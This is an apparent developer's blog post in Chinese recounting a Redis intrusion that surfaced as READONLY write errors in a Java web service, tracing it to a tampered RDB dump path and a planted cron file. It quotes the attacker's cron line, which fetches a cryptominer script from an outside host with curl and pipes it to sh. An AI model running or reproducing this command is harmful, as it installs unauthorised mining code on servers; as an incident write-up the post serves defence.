记录redis rdb出错导致服务异常

场景和故事情节就不编了，直接描述。

项目部分功能失效 500了：

• 后台异常日志：只读权限不能写入

ERROR  http-nio-80-exec-1 [[dispatcherServlet].log:175] [Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [redis.clients.jedis.exceptions.JedisDataException: READONLY You can't write against a read only slave.] with root cause]
redis.clients.jedis.exceptions.JedisDataException: READONLY You can't write against a read only slave.

• 既然是redis报错，那么就来查看一下redis日志：惊喜连连啊。。。我是真开心啊。。。。劳资不在家，家里进贼了！！！这不是最惊喜的，更精彩的是来你家溜达一圈，还给你装修了一下。我真是谢谢了。看来还是得弄一个好锁芯啊，国外的IP.不知道是不是翻墙了

• 开始进行了一个错误操作，cron.d权限给开了一下，就没错了，但是这没有解决根本问题，RDB开始没有问题，跑了一段时间才出现的问题，还是应该从RDB入手，然后查看配置文件看看RDB的路径。

截图一下RBD的配置路径：

suprise!!李逵李鬼。。。报错的不是配置的路径啊。。。。

先来路径下看看吧。。到底是什么鬼，有什么变化。

• 从1月26号开始没有变化的rdb
• var/lib/redis有一个root文件（小傻子 你很可疑啊）

棒棒哒，一个1秒一次的小游戏 “黄金矿工”。这玩意不会生效了吧，然后看看服务器监控，没有异常的IO。

然后看看任务列表，没有任务，嗯还可以。

*/1 * * * * curl -fsSL http://pm.cpuminerpool.com/pm.sh | sh

异常的RDB文件路径：一直在写入

既然配置文件没有篡改，那么重启一下就OK了

目前这个问题算是告一段落了，产生的影响和入侵的操作还得慢慢找。

顺便也提醒一下大家，服务器做好白名单，安全策略也要设置好。

也许。。后续还会继续破案。。

To be continued...